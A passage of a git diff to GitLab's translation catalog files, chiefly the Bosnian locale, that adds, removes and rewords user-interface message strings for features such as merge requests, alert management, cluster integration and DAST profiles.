-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/bs_BA/gitlab.po b/locale/bs_BA/gitlab.po
index db76d3d9bcf..cfa8b24e732 100644
--- a/locale/bs_BA/gitlab.po
+++ b/locale/bs_BA/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bs\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:40\n"
+"PO-Revision-Date: 2020-09-04 23:04\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -58,13 +58,13 @@ msgstr[2] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -73,6 +73,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -343,6 +346,9 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -379,6 +385,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -439,6 +448,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -466,7 +478,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -553,9 +565,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -574,6 +583,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -583,6 +595,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -700,6 +724,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -727,6 +754,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -742,6 +772,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -820,6 +853,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -853,6 +889,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -862,7 +901,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -907,6 +961,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1123,15 +1180,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr "<naziv projekta>"
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1195,7 +1243,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1213,6 +1261,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1315,6 +1366,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1426,6 +1480,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1459,12 +1516,6 @@ msgstr[2] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1579,6 +1630,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1591,6 +1645,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1603,6 +1660,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1882,6 +1942,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1897,6 +1960,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2125,6 +2191,9 @@ msgstr[2] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2155,7 +2224,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2212,9 +2281,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2227,6 +2293,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2269,16 +2338,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2308,7 +2374,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2407,6 +2473,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2554,6 +2623,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2620,6 +2692,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2692,9 +2767,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2836,13 +2920,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2869,12 +2956,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2953,6 +3046,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3172,6 +3268,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3184,6 +3283,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3199,9 +3301,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3310,7 +3409,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3322,9 +3421,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3337,6 +3433,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3598,7 +3697,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3676,6 +3775,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3802,7 +3904,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3916,6 +4018,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3985,13 +4090,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "Grana"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4186,6 +4294,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4360,6 +4471,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4393,10 +4507,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4417,7 +4531,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4603,9 +4717,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4831,7 +4942,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4999,9 +5110,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5107,6 +5224,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5140,19 +5260,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5200,13 +5326,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5224,6 +5353,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5263,15 +5395,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5296,6 +5425,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5479,9 +5611,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5677,7 +5806,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5896,12 +6025,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5941,15 +6073,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5974,6 +6118,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5989,9 +6136,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6022,7 +6166,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6199,6 +6343,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6400,7 +6550,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6856,9 +7006,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6943,6 +7090,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6955,6 +7105,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6979,15 +7132,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7018,6 +7177,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7033,6 +7195,12 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Create"
msgstr ""
@@ -7123,6 +7291,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7159,6 +7330,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7183,6 +7357,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7354,6 +7531,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7450,6 +7630,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7615,6 +7804,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7645,25 +7837,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
